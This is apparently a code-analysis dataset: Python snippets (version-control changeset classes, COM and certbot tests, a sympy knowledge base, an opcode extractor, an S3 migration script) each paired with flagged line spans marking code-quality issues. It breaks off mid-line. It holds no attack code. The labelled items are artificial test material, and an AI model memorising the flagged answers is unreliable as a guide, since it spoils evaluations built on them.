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[ { "content": "class BaseChangeset(object):\n \"\"\"\n Each backend should implement it's changeset representation.\n\n **Attributes**\n\n ``repository``\n repository object within which changeset exists\n\n ``id``\n may be ``raw_id`` or i.e. for mercurial's tip just ``tip``\n\n ``raw_id``\n raw changeset representation (i.e. full 40 length sha for git\n backend)\n\n ``short_id``\n shortened (if apply) version of ``raw_id``; it would be simple\n shortcut for ``raw_id[:12]`` for git/mercurial backends or same\n as ``raw_id`` for subversion\n\n ``revision``\n revision number as integer\n\n ``files``\n list of ``FileNode`` (``Node`` with NodeKind.FILE) objects\n\n ``dirs``\n list of ``DirNode`` (``Node`` with NodeKind.DIR) objects\n\n ``nodes``\n combined list of ``Node`` objects\n\n ``author``\n author of the changeset, as unicode\n\n ``message``\n message of the changeset, as unicode\n\n ``parents``\n list of parent changesets\n\n ``last``\n ``True`` if this is last changeset in repository, ``False``\n otherwise; trying to access this attribute while there is no\n changesets would raise ``EmptyRepositoryError``\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.BaseChangeset", "header": "['module', '___EOS___']", "index": 313 }, { "content": " def __str__(self):\n return '<%s at %s:%s>' % (self.__class__.__name__, self.revision,\n self.short_id)", "metadata": "root.BaseChangeset.__str__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 360 }, { "content": " def __repr__(self):\n return self.__str__()", "metadata": "root.BaseChangeset.__repr__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 364 }, { "content": " def __unicode__(self):\n return u'%s:%s' % (self.revision, self.short_id)", "metadata": "root.BaseChangeset.__unicode__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 367 }, { "content": " def __eq__(self, other):\n return self.raw_id == other.raw_id", "metadata": "root.BaseChangeset.__eq__", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 370 }, { "content": " @LazyProperty\n def last(self):\n if self.repository is None:\n raise ChangesetError(\"Cannot check if it's most recent revision\")\n return self.raw_id == self.repository.revisions[-1]", "metadata": "root.BaseChangeset.last", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 373 }, { "content": " @LazyProperty\n def parents(self):\n \"\"\"\n Returns list of parents changesets.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.parents", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 379 }, { "content": " @LazyProperty\n def children(self):\n \"\"\"\n Returns list of children changesets.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.children", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 386 }, { "content": " @LazyProperty\n def id(self):\n \"\"\"\n Returns string identifying this changeset.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 393 }, { "content": " @LazyProperty\n def raw_id(self):\n \"\"\"\n Returns raw string identifying this changeset.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.raw_id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 400 }, { "content": " @LazyProperty\n def short_id(self):\n \"\"\"\n Returns shortened version of ``raw_id`` attribute, as string,\n identifying this changeset, useful for web representation.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.short_id", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 407 }, { "content": " @LazyProperty\n def revision(self):\n \"\"\"\n Returns integer identifying this changeset.\n\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.revision", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 415 }, { "content": " @LazyProperty\n def committer(self):\n \"\"\"\n Returns Committer for given commit\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.committer", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 423 }, { "content": " @LazyProperty\n def committer_name(self):\n \"\"\"\n Returns Author name for given commit\n \"\"\"\n\n return author_name(self.committer)", "metadata": "root.BaseChangeset.committer_name", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 431 }, { "content": " @LazyProperty\n def committer_email(self):\n \"\"\"\n Returns Author email address for given commit\n \"\"\"\n\n return author_email(self.committer)", "metadata": "root.BaseChangeset.committer_email", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 439 }, { "content": " @LazyProperty\n def author(self):\n \"\"\"\n Returns Author for given commit\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.author", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 447 }, { "content": " @LazyProperty\n def author_name(self):\n \"\"\"\n Returns Author name for given commit\n \"\"\"\n\n return author_name(self.author)", "metadata": "root.BaseChangeset.author_name", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 455 }, { "content": " @LazyProperty\n def author_email(self):\n \"\"\"\n Returns Author email address for given commit\n \"\"\"\n\n return author_email(self.author)", "metadata": "root.BaseChangeset.author_email", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 463 }, { "content": " def get_file_mode(self, path):\n \"\"\"\n Returns stat mode of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_mode", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 471 }, { "content": " def get_file_content(self, path):\n \"\"\"\n Returns content of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_content", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 477 }, { "content": " def get_file_size(self, path):\n \"\"\"\n Returns size of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_size", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 483 }, { "content": " def get_file_changeset(self, path):\n \"\"\"\n Returns last commit of the file at the given ``path``.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_changeset", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 489 }, { "content": " def get_file_history(self, path):\n \"\"\"\n Returns history of file as reversed list of ``Changeset`` objects for\n which file at given ``path`` has been modified.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_file_history", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 495 }, { "content": " def get_nodes(self, path):\n \"\"\"\n Returns combined ``DirNode`` and ``FileNode`` objects list representing\n state of changeset at the given ``path``.\n\n :raises ``ChangesetError``: if node at the given ``path`` is not\n instance of ``DirNode``\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_nodes", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 502 }, { "content": " def get_node(self, path):\n \"\"\"\n Returns ``Node`` object from the given ``path``.\n\n :raises ``NodeDoesNotExistError``: if there is no node at the given\n ``path``\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.get_node", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 512 }, { "content": " def fill_archive(self, stream=None, kind='tgz', prefix=None):\n \"\"\"\n Fills up given stream.\n\n :param stream: file like object.\n :param kind: one of following: ``zip``, ``tar``, ``tgz``\n or ``tbz2``. Default: ``tgz``.\n :param prefix: name of root directory in archive.\n Default is repository name and changeset's raw_id joined with dash.\n\n repo-tip.<kind>\n \"\"\"\n\n raise NotImplementedError", "metadata": "root.BaseChangeset.fill_archive", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 521 }, { "content": " def get_chunked_archive(self, **kwargs):\n \"\"\"\n Returns iterable archive. Tiny wrapper around ``fill_archive`` method.\n\n :param chunk_size: extra parameter which controls size of returned\n chunks. Default:8k.\n \"\"\"\n\n chunk_size = kwargs.pop('chunk_size', 8192)\n stream = kwargs.get('stream')\n self.fill_archive(**kwargs)\n while True:\n data = stream.read(chunk_size)\n if not data:\n break\n yield data", "metadata": "root.BaseChangeset.get_chunked_archive", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 536 }, { "content": " @LazyProperty\n def root(self):\n \"\"\"\n Returns ``RootNode`` object for this changeset.\n \"\"\"\n return self.get_node('')", "metadata": "root.BaseChangeset.root", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 553 }, { "content": " def next(self, branch=None):\n \"\"\"\n Returns next changeset from current, if branch is gives it will return\n next changeset belonging to this branch\n\n :param branch: show changesets within the given named branch\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.next", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 560 }, { "content": " def prev(self, branch=None):\n \"\"\"\n Returns previous changeset from current, if branch is gives it will\n return previous changeset belonging to this branch\n\n :param branch: show changesets within the given named branch\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.prev", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 569 }, { "content": " @LazyProperty\n def added(self):\n \"\"\"\n Returns list of added ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.added", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 578 }, { "content": " @LazyProperty\n def changed(self):\n \"\"\"\n Returns list of modified ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.changed", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 585 }, { "content": " @LazyProperty\n def removed(self):\n \"\"\"\n Returns list of removed ``FileNode`` objects.\n \"\"\"\n raise NotImplementedError", "metadata": "root.BaseChangeset.removed", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 592 }, { "content": " @LazyProperty\n def size(self):\n \"\"\"\n Returns total number of bytes from contents of all filenodes.\n \"\"\"\n return sum((node.size for node in self.get_filenodes_generator()))", "metadata": "root.BaseChangeset.size", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 599 }, { "content": " def walk(self, topurl=''):\n \"\"\"\n Similar to os.walk method. Insted of filesystem it walks through\n changeset starting at given ``topurl``. Returns generator of tuples\n (topnode, dirnodes, filenodes).\n \"\"\"\n topnode = self.get_node(topurl)\n yield (topnode, topnode.dirs, topnode.files)\n for dirnode in topnode.dirs:\n for tup in self.walk(dirnode.path):\n yield tup", "metadata": "root.BaseChangeset.walk", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 606 }, { "content": " def get_filenodes_generator(self):\n \"\"\"\n Returns generator that yields *all* file nodes.\n \"\"\"\n for topnode, dirs, files in self.walk():\n for node in files:\n yield node", "metadata": "root.BaseChangeset.get_filenodes_generator", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 618 }, { "content": " def as_dict(self):\n \"\"\"\n Returns dictionary with changeset's attributes and their values.\n \"\"\"\n data = get_dict_for_attrs(self, ['id', 'raw_id', 'short_id',\n 'revision', 'date', 'message'])\n data['author'] = {'name': self.author_name, 'email': self.author_email}\n data['added'] = [node.path for node in self.added]\n data['changed'] = [node.path for node in self.changed]\n data['removed'] = [node.path for node in self.removed]\n return data", "metadata": "root.BaseChangeset.as_dict", "header": "['class', 'BaseChangeset', '(', 'object', ')', ':', '___EOS___']", "index": 626 }, { "content": "class EmptyChangeset(BaseChangeset):\n \"\"\"\n An dummy empty changeset. It's possible to pass hash when creating\n an EmptyChangeset\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.EmptyChangeset", "header": "['module', '___EOS___']", "index": 943 }, { "content": " def __init__(self, cs='0' * 40, repo=None, requested_revision=None,\n alias=None, revision=-1, message='', author='', date=None):\n self._empty_cs = cs\n self.revision = revision\n self.message = message\n self.author = author\n self.date = date or datetime.datetime.fromtimestamp(0)\n self.repository = repo\n self.requested_revision = requested_revision\n self.alias = alias", "metadata": "root.EmptyChangeset.__init__", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 949 }, { "content": " @LazyProperty\n def raw_id(self):\n \"\"\"\n Returns raw string identifying this changeset, useful for web\n representation.\n \"\"\"\n\n return self._empty_cs", "metadata": "root.EmptyChangeset.raw_id", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 960 }, { "content": " @LazyProperty\n def branch(self):\n from vcs.backends import get_backend\n return get_backend(self.alias).DEFAULT_BRANCH_NAME", "metadata": "root.EmptyChangeset.branch", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 969 }, { "content": " @LazyProperty\n def short_id(self):\n return self.raw_id[:12]", "metadata": "root.EmptyChangeset.short_id", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 974 }, { "content": " def get_file_changeset(self, path):\n return self", "metadata": "root.EmptyChangeset.get_file_changeset", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 978 }, { "content": " def get_file_content(self, path):\n return u''", "metadata": "root.EmptyChangeset.get_file_content", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 981 }, { "content": " def get_file_size(self, path):\n return 0", "metadata": "root.EmptyChangeset.get_file_size", "header": "['class', 'EmptyChangeset', '(', 'BaseChangeset', ')', ':', '___EOS___']", "index": 984 } ]

[ { "span": "class EmptyChangeset(BaseChangeset):", "start_line": 943, "start_column": 0, "end_line": 943, "end_column": 36 } ]

[ { "span": "def __eq__(self, other):", "start_line": 370, "start_column": 4, "end_line": 370, "end_column": 28 }, { "span": "self._empty_cs ", "start_line": 951, "start_column": 8, "end_line": 951, "end_column": 22 }, { "span": "self.revision ", "start_line": 952, "start_column": 8, "end_line": 952, "end_column": 21 }, { "span": "self.message ", "start_line": 953, "start_column": 8, "end_line": 953, "end_column": 20 }, { "span": "self.author ", "start_line": 954, "start_column": 8, "end_line": 954, "end_column": 19 }, { "span": "self.date ", "start_line": 955, "start_column": 8, "end_line": 955, "end_column": 17 }, { "span": "self.repository ", "start_line": 956, "start_column": 8, "end_line": 956, "end_column": 23 }, { "span": "self.requested_revision ", "start_line": 957, "start_column": 8, "end_line": 957, "end_column": 31 }, { "span": "self.alias ", "start_line": 958, "start_column": 8, "end_line": 958, "end_column": 18 } ]

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[ { "content": "# -*- coding: utf-8 -*-\n\ntry:\n import urlparse as parse # Py2\nexcept ImportError:\n from urllib import parse # Py3\ntry:\n import __builtin__ as builtins # Py2\nexcept ImportError:\n import builtins # Py3\n\nimport example1\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "import urlparse as parse ", "start_line": 3, "start_column": 4, "end_line": 3, "end_column": 28 }, { "span": "from urllib import parse ", "start_line": 5, "start_column": 4, "end_line": 5, "end_column": 28 }, { "span": "import __builtin__ as builtins ", "start_line": 7, "start_column": 4, "end_line": 7, "end_column": 34 }, { "span": "import builtins ", "start_line": 9, "start_column": 4, "end_line": 9, "end_column": 19 }, { "span": "import example1", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 15 } ]

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[ { "content": " def test(self):\n # The point of this test is the ReadWaveform method below,\n # which takes several [in, out] arguments.\n agDrvr = CreateObject(\"Agilent546XX.Agilent546XX\")\n\n # XXX XXX XXX The following call crashes hard with an accessviolation when\n # the OANOCACHE environ variable is set.\n import os\n if \"OANOCACHE\" in os.environ:\n print \"Cannot test. buggy COM object?\"\n return\n\n # Initialize the driver in simulation mode. Resource descriptor is ignored.\n agDrvr.Initialize(\"\", False, False, \"Simulate=true\")\n # Initialize driver. Edit resource descriptor for your system.\n # agDrvr.Initialize(\"GPIB0::7::INSTR\", False, False, \"QueryInstrStatus=true\")\n\n from comtypes.gen import IviScopeLib\n iviDrvr = agDrvr.QueryInterface(IviScopeLib.IIviScope)\n\n # Get driver Identity properties. Driver initialization not required.\n## print \"Identifier:\", iviDrvr.Identity.Identifier\n## print \" Revision:\", agDrvr.Identity.Revision\n## print \"Description:\", agDrvr.Identity.Description\n\n # Get instrument Identity properties.\n## print \"InstrumentModel: \", agDrvr.Identity.InstrumentModel\n## print \" FirmwareRevision: \", agDrvr.Identity.InstrumentFirmwareRevision\n## print \" SerialNumber: \", agDrvr.System.SerialNumber\n\n # Setup for a measurement. Reset in this case.\n agDrvr.Utility.Reset()\n\n pMeasurement = agDrvr.Measurements.Item(\"UserChannel1\")\n # ReadWaveform() takes a sweep and reads the data.\n #\n # Definition generated for ReadWaveform():\n #COMMETHOD([helpstring(u'Acquires and returns a waveform on the configured channels.')],\n # HRESULT, 'ReadWaveform',\n # ( ['in'], Agilent546XXTimeOutEnum, 'MaxTime' ),\n # ( ['in', 'out'], POINTER(_midlSAFEARRAY(c_double)), 'pWaveformArray' ),\n # ( ['in', 'out'], POINTER(c_double), 'pInitialX' ),\n # ( ['in', 'out'], POINTER(c_double), 'pXIncrement' )),\n\n # [in, out] arguments are now optional (comtypes\n # constructs an empty default value when nothing is\n # passed).\n psaWaveform = _midlSAFEARRAY(c_double).create([])\n self._check_result(pMeasurement.ReadWaveform(20000))\n self._check_result(pMeasurement.ReadWaveform(20000, pInitialX=9.0))\n self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0, pInitialX=3.0))\n self._check_result(pMeasurement.ReadWaveform(20000))\n self._check_result(pMeasurement.ReadWaveform(20000, []))\n self._check_result(pMeasurement.ReadWaveform(20000, pWaveformArray = []))\n self._check_result(pMeasurement.ReadWaveform(20000, psaWaveform))\n self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0))", "metadata": "root.Test.test", "header": "['class', 'Test', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " def _check_result(self, (array, initial_x, x_increment)):\n # ReadWaveform, in simulation mode, returns three values:\n #\n # - a safearray containing 100 random double values,\n # unpacked and returned as tuple\n # - the initial_x value: 0.0\n # - the x_increment value: 0.0\n self.failUnlessEqual(len(array), 100)\n self.failIf([x for x in array if not isinstance(x, float)])\n self.failUnlessEqual(initial_x, 0.0)\n self.failUnlessEqual(x_increment, 0.0)", "metadata": "root.Test._check_result", "header": "['class', 'Test', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 74 } ]

[ { "span": "self._check_result(pMeasurement.ReadWaveform(20000))", "start_line": 65, "start_column": 12, "end_line": 65, "end_column": 64 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pInitialX=9.0))", "start_line": 66, "start_column": 12, "end_line": 66, "end_column": 79 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0, pInitialX=3.0))", "start_line": 67, "start_column": 12, "end_line": 67, "end_column": 96 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000))", "start_line": 68, "start_column": 12, "end_line": 68, "end_column": 64 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, []))", "start_line": 69, "start_column": 12, "end_line": 69, "end_column": 68 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pWaveformArray = []))", "start_line": 70, "start_column": 12, "end_line": 70, "end_column": 85 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, psaWaveform))", "start_line": 71, "start_column": 12, "end_line": 71, "end_column": 77 }, { "span": "self._check_result(pMeasurement.ReadWaveform(20000, pXIncrement=9.0))", "start_line": 72, "start_column": 12, "end_line": 72, "end_column": 81 } ]

[ { "span": "def _check_result(self, (array, initial_x, x_increment)):", "start_line": 74, "start_column": 8, "end_line": 74, "end_column": 65 } ]

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[ { "content": " def test_eq(self):\n from certbot_nginx.obj import Addr\n new_addr1 = Addr.fromstring(\"192.168.1.1 spdy\")\n self.assertEqual(self.addr1, new_addr1)\n self.assertNotEqual(self.addr1, self.addr2)\n self.assertFalse(self.addr1 == 3333)", "metadata": "root.AddrTest.test_eq", "header": "['class', 'AddrTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_eq(self):\n from certbot_nginx.obj import Addr\n from certbot_nginx.obj import VirtualHost\n vhost1b = VirtualHost(\n \"filep\",\n set([Addr.fromstring(\"localhost blah\")]), False, False,\n set(['localhost']), [])\n\n self.assertEqual(vhost1b, self.vhost1)\n self.assertEqual(str(vhost1b), str(self.vhost1))\n self.assertFalse(vhost1b == 1234)", "metadata": "root.VirtualHostTest.test_eq", "header": "['class', 'VirtualHostTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 84 } ]

[ { "span": "self.assertFalse(self.addr1 == 3333)", "start_line": 62, "start_column": 8, "end_line": 62, "end_column": 44 }, { "span": "self.assertFalse(vhost1b == 1234)", "start_line": 94, "start_column": 8, "end_line": 94, "end_column": 41 } ]

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[ { "content": "def get_output(inf,arch='elf'):\n\t\"\"\"format into a string of bytes\"\"\"\n\toutput = ''\n\tif '.nasm' in inf:\n\t\ttmp = getoutput(\"nasm -f %s %s\"%(arch,inf))\n\t\tif 'error' in tmp:\n\t\t\tprint '[-] Error in your asm: ', tmp\n\t\t\tsys.exit(1)\t\n\t\tinf = inf.replace(\".nasm\", \".o\")\n\ttmp = getoutput(\"objdump -d %s\"%inf)\n\t\n\topcodes = ''\n\tfor line in tmp.split('\\n')[7:]:\n\t\ttmp = line.split(':',1)\n\t\tif len(tmp) > 1 and len(tmp[1]) > 0: tmp = tmp[1]\n\t\telse: continue\n\n\t\t# split on tab to get opcodes\n\t\ttmp = ''.join(tmp).split('\\t')\n\t\tif len(tmp) > 1: tmp = tmp[1].strip().replace(' ','')\n\t\tif '<' in tmp: continue\n\t\topcodes += tmp\n\treturn opcodes", "metadata": "root.get_output", "header": "['module', '___EOS___']", "index": 17 } ]

[ { "span": "output ", "start_line": 19, "start_column": 1, "end_line": 19, "end_column": 7 } ]

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[ { "content": "class KB(object):\n \"\"\"Base class for all knowledge bases\"\"\"\n\n\n\n", "metadata": "root.KB", "header": "['module', '___EOS___']", "index": 213 }, { "content": " def __init__(self, sentence=None):\n self.clauses_ = set()\n if sentence:\n self.tell(sentence)", "metadata": "root.KB.__init__", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 215 }, { "content": " def tell(self, sentence):\n raise NotImplementedError", "metadata": "root.KB.tell", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 220 }, { "content": " def ask(self, query):\n raise NotImplementedError", "metadata": "root.KB.ask", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 223 }, { "content": " def retract(self, sentence):\n raise NotImplementedError", "metadata": "root.KB.retract", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 226 }, { "content": " @property\n def clauses(self):\n return list(ordered(self.clauses_))", "metadata": "root.KB.clauses", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 229 }, { "content": "class PropKB(KB):\n \"\"\"A KB for Propositional Logic. Inefficient, with no indexing.\"\"\"\n\n\n", "metadata": "root.PropKB", "header": "['module', '___EOS___']", "index": 234 }, { "content": " def tell(self, sentence):\n \"\"\"Add the sentence's clauses to the KB\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.clauses\n []\n\n >>> l.tell(x | y)\n >>> l.clauses\n [Or(x, y)]\n\n >>> l.tell(y)\n >>> l.clauses\n [y, Or(x, y)]\n \"\"\"\n for c in conjuncts(to_cnf(sentence)):\n self.clauses_.add(c)", "metadata": "root.PropKB.tell", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 237 }, { "content": " def ask(self, query):\n \"\"\"Checks if the query is true given the set of clauses.\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.tell(x & ~y)\n >>> l.ask(x)\n True\n >>> l.ask(y)\n False\n \"\"\"\n return entails(query, self.clauses_)", "metadata": "root.PropKB.ask", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 260 }, { "content": " def retract(self, sentence):\n \"\"\"Remove the sentence's clauses from the KB\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.clauses\n []\n\n >>> l.tell(x | y)\n >>> l.clauses\n [Or(x, y)]\n\n >>> l.retract(x | y)\n >>> l.clauses\n []\n \"\"\"\n for c in conjuncts(to_cnf(sentence)):\n self.clauses_.discard(c)", "metadata": "root.PropKB.retract", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 277 } ]

[ { "span": "self.tell(sentence)", "start_line": 218, "start_column": 12, "end_line": 218, "end_column": 31 } ]

[ { "span": "def tell(self, sentence):", "start_line": 220, "start_column": 4, "end_line": 220, "end_column": 29 }, { "span": "def tell(self, sentence):", "start_line": 237, "start_column": 4, "end_line": 237, "end_column": 29 } ]

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[ { "content": "import argparse\nimport os\nimport sys\nimport time\nimport torndb\nimport yaml\nimport mimetypes\nimport urllib\n\nfrom datetime import datetime\nfrom pymongo import MongoClient, ASCENDING, DESCENDING\nfrom operator import itemgetter\n\nfrom boto.s3.connection import S3Connection\nfrom boto.s3.key import Key\n\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--host', default = '127.0.0.1')\nparser.add_argument('--database', required = True)\nparser.add_argument('--user', required = True)\nparser.add_argument('--password', required = True)\nparser.add_argument('--customergroup', required = False, default = '0')\nparser.add_argument('-v', '--verbose', action = 'count', default = 0)\nargs = parser.parse_args()\n\n\nreload(sys)\nsys.setdefaultencoding('UTF-8')\n\n\n\n\n\n\n\n\nprint '\\n\\n\\n\\n\\n'\nfor c in customers():\n # if c.get('database-name') in ['okupatsioon', 'are', 'akg']:\n # continue\n\n if c.get('database-name') not in ['www']:\n continue\n\n print '%s %s started' % (datetime.now(), c.get('database-name'))\n\n m2m = S3files(\n db_host = c.get('database-host'),\n db_name = c.get('database-name'),\n db_user = c.get('database-user'),\n db_pass = c.get('database-password')\n )\n m2m.files()\n\n print '%s %s ended' % (datetime.now(), c.get('database-name'))\n print '%s' % yaml.safe_dump(m2m.stats, default_flow_style=False, allow_unicode=True)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def customers():\n db = torndb.Connection(\n host = args.host,\n database = args.database,\n user = args.user,\n password = args.password,\n )\n\n sql = \"\"\"\n SELECT DISTINCT\n e.id AS entity,\n property_definition.dataproperty AS property,\n CONVERT(IF(\n property_definition.datatype='decimal',\n property.value_decimal,\n IF(\n property_definition.datatype='integer',\n property.value_integer,\n IF(\n property_definition.datatype='file',\n property.value_file,\n property.value_string\n )\n )\n ), CHAR) AS value\n FROM (\n SELECT\n entity.id,\n entity.entity_definition_keyname\n FROM\n entity,\n relationship\n WHERE relationship.related_entity_id = entity.id\n AND entity.is_deleted = 0\n AND relationship.is_deleted = 0\n AND relationship.relationship_definition_keyname = 'child'\n -- AND relationship.entity_id IN (%s)\n ) AS e\n LEFT JOIN property_definition ON property_definition.entity_definition_keyname = e.entity_definition_keyname AND property_definition.dataproperty IN ('database-host', 'database-name', 'database-user', 'database-password') AND property_definition.is_deleted = 0\n LEFT JOIN property ON property.property_definition_keyname = property_definition.keyname AND property.entity_id = e.id AND property.is_deleted = 0\n HAVING value IS NOT NULL;\n \"\"\" % args.customergroup\n\n customers = {}\n for c in db.query(sql):\n if c.property in ['database-host', 'database-name', 'database-user', 'database-password']:\n if not c.value or not c.property:\n continue\n customers.setdefault(c.entity, {})[c.property] = c.value\n\n result = []\n for c, p in customers.iteritems():\n if not p.get('database-host') or not p.get('database-name') or not p.get('database-user') or not p.get('database-password'):\n continue\n\n try:\n db = torndb.Connection(\n host = p.get('database-host'),\n database = p.get('database-name'),\n user = p.get('database-user'),\n password = p.get('database-password'),\n )\n db.get('SELECT 1 FROM entity LIMIT 1;')\n except Exception:\n print p\n continue\n\n result.append(p)\n\n return sorted(result, key=itemgetter('database-name'))", "metadata": "root.customers", "header": "['module', '___EOS___']", "index": 33 }, { "content": "class S3files():\n", "metadata": "root.S3files", "header": "['module', '___EOS___']", "index": 107 }, { "content": " def __init__(self, db_host, db_name, db_user, db_pass):\n self.stats = {}\n\n self.db_host = db_host\n self.db_name = db_name\n self.db_user = db_user\n self.db_pass = db_pass\n self.db = torndb.Connection(\n host = db_host,\n database = db_name,\n user = db_user,\n password = db_pass,\n )", "metadata": "root.S3files.__init__", "header": "['class', 'S3files', '(', ')', ':', '___EOS___']", "index": 108 }, { "content": " def files(self):\n sql = \"\"\"\n SELECT\n file.id,\n file.md5,\n file.s3_key,\n CONCAT('%s_2', '/', property.entity_id, '/', property.id) AS new_key,\n file.filename,\n file.filesize\n FROM file\n LEFT JOIN property ON property.value_file = file.id\n WHERE file.url IS NULL\n AND file.s3_key IS NOT NULL\n -- AND file.md5 IS NOT NULL\n ORDER BY id\n -- LIMIT 1000;\n \"\"\" % self.db_name\n\n\n s3_conn = S3Connection(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_bucket = s3_conn.get_bucket(AWS_BUCKET, validate=False)\n\n rows = self.db.query(sql)\n for r in rows:\n s3_key = s3_bucket.get_key(r.s3_key)\n if not s3_key:\n print 